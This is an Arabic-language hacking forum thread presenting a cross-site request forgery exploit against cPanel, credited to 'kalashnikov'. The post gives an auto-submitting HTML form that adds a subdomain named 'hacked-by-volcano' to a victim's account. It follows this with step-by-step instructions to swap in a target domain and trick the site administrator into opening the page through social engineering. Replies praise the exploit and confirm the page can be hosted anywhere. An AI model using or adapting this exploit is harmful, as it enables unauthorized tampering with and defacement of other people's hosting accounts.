:: vBspiders Professional Network :: - Cpanel [CSRF] Add Sub domain

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- حقن xss - ssi (http://www.vbspiders.com/vb/forumdisplay.php?f=427)

- - Cpanel [CSRF] Add Sub domain (http://www.vbspiders.com/vb/showthread.php?t=41285)

Cpanel [CSRF] Add Sub domain

كود PHP:


		
			
### Exploit Title: Cpanel [CSRF] Add Sub domain########

# Author: kalashnikov

# Software Link: http://www.cpanel.net/

###############/Exploit\###############################

<html>

<body onload="********.csrf.submit();">

<form name="csrf" method="POST" name="form0" action="http://vbspiders.com:2082/frontend/x3/subdomain/doadddomain.html">

<input type="hidden" name="domain" value="hacked-by-volcano" /> . <input type="hidden" name="rootdomain" value="vbspiders.com" />

<input type="hidden" name="dir" value="public_html/VoLc4n0" />

<input type="hidden" name="go" value="public_html/VoLc4n0/hacked" />

</html>

######################################################

Home :- VbSpIdErS.CoM ~ VoLc4n0 ~ FLa$h ~ StOnE LoVe //\\ KaLa$nikoV t34m //\\

Greetz :- FK Mr.NoHa

######################################################

الثغره عاديه ومش خطيره

وتحتاج لهدنسه اجتماعيه كويسه :D

شرح ......
احفظ الثغره بامتداد html
غير اسم الدومين vbspiders.com الى الدومين الهدف
غير هذا الى ما تريد hacked-by-volcano
غير هذا الى ما تريد public_html/VoLc4n0
غير هذا الى ما تريد public_html/VoLc4n0/hacked

حسب الاعدادات اعلى سيتم انشاء هذا الدومين
hacked-by-volcano.vbspiders.com
وبداخله مجلد باسم
hacked

الاستغلال تقوم بحفظ الصفحه بامتداد html وارسالها الى اداري االموقع .....

بالتوفيق

بارك الله فيك
جزاك الله الجنة

بآرك الله فيك

آبدآآع يآبططلززز ! :D

مبرووك , منها للأقوى إن شاء الله

ملاحظه بعتقد بتقدر ترفع الصفحه على اي موقع وترسلها للمدير نفس الطريقه لما تكون على جهازه ؟!

بارك الله فيك

اقتباس:

المشاركة الأصلية كتبت بواسطة Cyber Code (المشاركة 280247)

يس حبيبي سايبر زي ما بتقول 100%
:yes:

بارك الله فيك

بارك الله فيك
جزاك الله الجنة

يعطيك العافيه يا وحش

بعد اذنك حبيبي راح انقل موضوعك من اجل الفائدة

وحقوقك محفوظة :)

جزاك الله خيرا